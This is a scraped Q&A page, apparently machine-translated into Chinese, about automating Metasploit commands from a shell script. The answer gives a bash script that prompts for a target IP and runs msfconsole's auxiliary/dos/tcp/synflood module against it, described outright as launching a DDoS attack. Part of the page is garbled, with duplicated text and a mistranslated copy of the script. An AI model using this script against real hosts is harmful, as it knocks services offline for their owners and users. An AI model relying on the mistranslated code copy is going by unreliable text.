Linux 编写脚本以在控制台内运行命令
我正在编写一个脚本来自动化metasploit现在我的脚本工作正常,直到我需要在终端上运行命令,但是当我尝试运行我必须在metasploit控制台内执行的命令时,脚本停止,直到我手动退出控制台,然后它将从下一行继续 当您运行metasploit时,它会在终端内部打开一个控制台(msfconsole),您可以在其中运行命令 如何在脚本中添加特定命令以在控制台中运行 以下是我要运行的命令:Linux 编写脚本以在控制台内运行命令,linux,scripting,metasploit,Linux,Scripting,Metasploit,我正在编写一个脚本来自动化metasploit现在我的脚本工作正常,直到我需要在终端上运行命令,但是当我尝试运行我必须在metasploit控制台内执行的命令时,脚本停止,直到我手动退出控制台,然后它将从下一行继续 当您运行metasploit时,它会在终端内部打开一个控制台(msfconsole),您可以在其中运行命令 如何在脚本中添加特定命令以在控制台中运行 以下是我要运行的命令: msfconsole (this command starts the metasploit console,
msfconsole (this command starts the metasploit console, this command works fine in the script)
search netapi (This searches the exploit i want to use, now this command is to be entered inside the console which my script cannot do)
在此之后,所有的命令都需要输入控制台,控制台看起来是这样的:msf>我想您正在寻找这样的东西
#!/bin/bash
TARGET
echo " Choose who to DDoS (IP address ONLY), use nslookup < URL> to get IP address"
read TARGET
msfconsole -q -x "use auxiliary/dos/tcp/synflood;set RHOST $TARGET; exploit;
#/bin/bash
目标
echo“选择DDoS攻击对象(仅限IP地址),使用nslookup获取IP地址”
读取目标
msfconsole-q-x“使用辅助/dos/tcp/synflood;设置RHOST$TARGET;利用漏洞;
这将启动msfconsole,使用/dos/tcp/synflood辅助,并对目标发起DDOS攻击,这是用户的IP地址类型。
您可以使用此方案编写其他脚本来自动化metasploit,只需更改漏洞和变量
不要忘记使用chmod a+x yourscript.sh来允许执行
还可以看看这个:你的脚本是什么,shell脚本还是python或ruby?这是一个shell脚本你问如何在shell脚本中运行特定命令,你指的是什么类型的命令
ls,cat,ps
?更新了帖子